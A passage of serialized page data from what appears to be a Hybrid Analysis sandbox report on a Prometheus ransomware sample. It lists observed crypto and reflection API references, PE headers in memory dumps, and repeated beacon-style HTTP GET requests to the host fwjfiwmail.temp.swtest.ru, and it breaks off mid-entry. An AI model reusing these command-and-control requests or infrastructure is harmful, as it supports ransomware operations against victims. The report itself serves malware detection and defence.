34:"SampleDetailWrapper" 35:I[7638,["$1","$2","$3","$4","$5","$8","$9","$a","$b"],"$34"] 81:I[27201,["$1","$2","$3","$4","$5"],"IconMark"] 33:T4d6,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Ransom.Prometheus.Generic Sample 0032705a736c… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 0032705a736c…. Malware family: Ransom.Prometheus.Generic. Threat score 100/100. 18/25 AV engines flagged this file. 9 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","keywords":["Malicious","Ransom.Prometheus.Generic","malware analysis","sandbox report","threat intelligence","0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2"],"about":{"@type":"SoftwareApplication","name":"a45e2d72a3718dd27e9b0703307a2e4a.exe","applicationCategory":["peexe","assembly","executable"],"identifier":"0032705a736c09ccb7d06c156ceceee2c5915f486a32df2cd0d00d8393c9e0f2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Ransom.Prometheus.Generic","antivirusDetections":{"malicious":18,"total":25},"behavioralIndicators":{"malicious":9,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}36:T707,Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "dllhost.exe" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "dllhost.exe" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "dllhost.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "dllhost.exe" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "RCX39E1.tmp" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "RCX39E1.tmp" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "RCX39E1.tmp" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "RCX39E1.tmp" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "RCX2E95.tmp" Observed namespace "System.IO.MemoryStream" and TypeReference ".ctor" in "RCX2E95.tmp" Observed namespace "System.IO.MemoryStream" and TypeReference "ToArray" in "RCX2E95.tmp" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "GetHRForException" in "RCX2E95.tmp" Observed namespace "System.Runtime.InteropServices.Marshal" and TypeReference "SizeOf" in "RCX34CF.tmp"37:Tbf5,Found reference to "hACBERC2vLhy1YCu6nV" (Indicator: "RC2"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "vRC2Iltdq9X6uoiVmM4" (Indicator: "RC2"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "tR7OidAcaXbVYgSmaBy" (Indicator: "Oid"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "SHA1Managed" (Indicator: "SHA1Managed"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "SHA256Managed" (Indicator: "SHA256Managed"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "HashAlgorithm" (Indicator: "HashAlgorithm"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "Aes"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") file/memory contains long string with (Indicator: "RC2"; File: "a45e2d72a3718dd27e9b0703307a2e4a.exe") Found reference to "h3TyYkdOid1wf84DXcL" (Indicator: "Oid"; File: "RCX34CF.tmp.224946509") Found reference to "Rfc2898DeriveBytes" (Indicator: "DeriveBytes"; File: "RCX34CF.tmp.224946509") Found reference to "Rfc2898DeriveBytes" (Indicator: "Rfc2898DeriveBytes"; File: "RCX34CF.tmp.224946509") Found reference to "DeriveBytes" (Indicator: "DeriveBytes"; File: "RCX34CF.tmp.224946509") Found reference to "HMACSHA1" (Indicator: "HMAC"; File: "RCX34CF.tmp.224946509") Found reference to "HMACSHA1" (Indicator: "HMACSHA1"; File: "RCX34CF.tmp.224946509") Found reference to "SymmetricAlgorithm" (Indicator: "SymmetricAlgorithm"; File: "RCX34CF.tmp.224946509") Found reference to "RSACryptoServiceProvider" (Indicator: "RSACryptoServiceProvider"; File: "RCX34CF.tmp.224946509") Found reference to "AesCryptoServiceProvider" (Indicator: "Aes"; File: "RCX34CF.tmp.224946509") Found reference to "AesCryptoServiceProvider" (Indicator: "AesCryptoServiceProvider"; File: "RCX34CF.tmp.224946509") Found reference to "RijndaelManaged" (Indicator: "Rijndael"; File: "RCX34CF.tmp.224946509") Found reference to "RijndaelManaged" (Indicator: "RijndaelManaged"; File: "RCX34CF.tmp.224946509") Found reference to "CryptoConfig" (Indicator: "CryptoConfig"; File: "RCX34CF.tmp.224946509") Found reference to "MD5CryptoServiceProvider" (Indicator: "MD5CryptoServiceProvider"; File: "RCX34CF.tmp.224946509") Found reference to "CryptoStream" (Indicator: "CryptoStream"; File: "RCX34CF.tmp.224946509") Found reference to "CryptoStreamMode" (Indicator: "CryptoStream"; File: "RCX34CF.tmp.224946509") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001248.00000001.70432.B6040000.00000004.mdmp, 00000000-00001248.00000002.72351.B6040000.00000004.mdmp") Found reference to "SA/SHA384" (Indicator: "SHA384"; Source: "00000000-00001292.00000001.70452.334C0000.00000004.mdmp, 00000000-00001292.00000001.70452.357B0000.00000004.mdmp, 00000000-00001292.00000002.72371.357B0000.00000004.mdmp")38:T540,Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "dllhost.exe" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "dllhost.exe" Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "RCX39E1.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "RCX39E1.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "RCX2E95.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "RCX2E95.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "RCX34CF.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "RCX34CF.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "TransformFinalBlock" in "RCX27AE.tmp" Observed namespace "System.Security.Cryptography" and MemberReference "CreateDecryptor" in "RCX27AE.tmp"39:T87e,Observed namespace "System" and MemberReference "GetMethods" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System" and MemberReference "GetMethod" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System" and MemberReference "GetMethods" in "dllhost.exe" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "dllhost.exe" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "dllhost.exe" Observed namespace "System" and MemberReference "GetMethod" in "dllhost.exe" Observed namespace "System" and MemberReference "GetMethods" in "RCX39E1.tmp" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "RCX39E1.tmp" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "RCX39E1.tmp" Observed namespace "System" and MemberReference "GetMethod" in "RCX39E1.tmp" Observed namespace "System" and MemberReference "GetMethods" in "RCX2E95.tmp" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "RCX2E95.tmp" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "RCX2E95.tmp" Observed namespace "System" and MemberReference "GetMethod" in "RCX2E95.tmp" Observed namespace "System" and MemberReference "GetMethods" in "RCX34CF.tmp" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "RCX34CF.tmp" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "RCX34CF.tmp" Observed namespace "System" and MemberReference "GetMethod" in "RCX34CF.tmp" Observed namespace "System" and MemberReference "GetMethods" in "RCX27AE.tmp" Observed namespace "System.Management" and MemberReference "GetMethodParameters" in "RCX27AE.tmp" Observed namespace "System.Diagnostics" and MemberReference "GetMethod" in "RCX27AE.tmp" Observed namespace "System" and MemberReference "GetMethod" in "RCX27AE.tmp"3a:T609,Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.030C0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.033E0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.03400000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.03420000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.03430000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04D00000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04D20000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04D30000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04E80000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04E90000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04EA0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.04EB0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.1D7A0000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.1E120000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.1E130000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.1E140000.00000004.mdmp") Found PE header "MZ" - Source: "00000000-00004212.00000001.71949.1E150000.00000004.mdmp")3b:T7f9,Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "a45e2d72a3718dd27e9b0703307a2e4a.exe" Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "dllhost.exe" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "dllhost.exe" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "dllhost.exe" Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "RCX39E1.tmp" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "RCX39E1.tmp" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "RCX39E1.tmp" Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "RCX2E95.tmp" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "RCX2E95.tmp" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "RCX2E95.tmp" Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "RCX34CF.tmp" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "RCX34CF.tmp" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "RCX34CF.tmp" Observed namespace "System.Security.Cryptography.Aes" and TypeReference "Create" in "RCX27AE.tmp" Observed namespace "System.Security.Cryptography.AesCryptoServiceProvider" and TypeReference ".ctor" in "RCX27AE.tmp" Observed namespace "System.Security.Cryptography.RijndaelManaged" and TypeReference ".ctor" in "RCX27AE.tmp"3c:T3192,Contains base64 string in header "8e0c4e39424ed4b451ddd4fa22c2a6db" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "Type" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "like" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "4664" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "temp" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "ruConnection" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "8e0c4e39424ed4b451ddd4fa22c2a6db" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "Type" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "like" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "4664" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "temp" in header "GET /_Defaultwindows.php?TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gZwMGZ3YDO4IWZ1AjM5EDNiBjZ5YmYldTYkF2YiBDO2YDZwYWNyYWM&TxO8=zRnmlZpsc&f5O=GZlmdMDz4EyFJPV&LwHBOtsunSUoZp=EdWsqrLvvM9WixgQZWB HTTP/1.1Accept: */*Content-Type: text/htmlUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "rG1CSvMORpRiltPc" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "8e0c4e39424ed4b451ddd4fa22c2a6db" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "Type" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "temp" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "ruConnection" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "Keep" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ruConnection: Keep-Alive" Contains base64 string in header "rG1CSvMORpRiltPc" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "8e0c4e39424ed4b451ddd4fa22c2a6db" in header "GET /_Defaultwindows.php?Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc&b83784bc6e976a084de27af935323d74=8e0c4e39424ed4b451ddd4fa22c2a6db&c4be2c8017207f7cb03e4f4c7febcdc5=gNmZGM2YWN3cDO0QDMxQWOyIWY3U2M0EjMwEWNzI2MzITZzUTNlFjZ&Zw7mpxpHxFDln7bmvNf=2T5&T3lbzHyf93s945DqmQ6YJL8829iCd=rG1CSvMORpRiltPc HTTP/1.1Accept: */*Content-Type: text/plainUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0Host: fwjfiwmail.temp.swtest.ru" Contains base64 string in header "Type" in header "GET 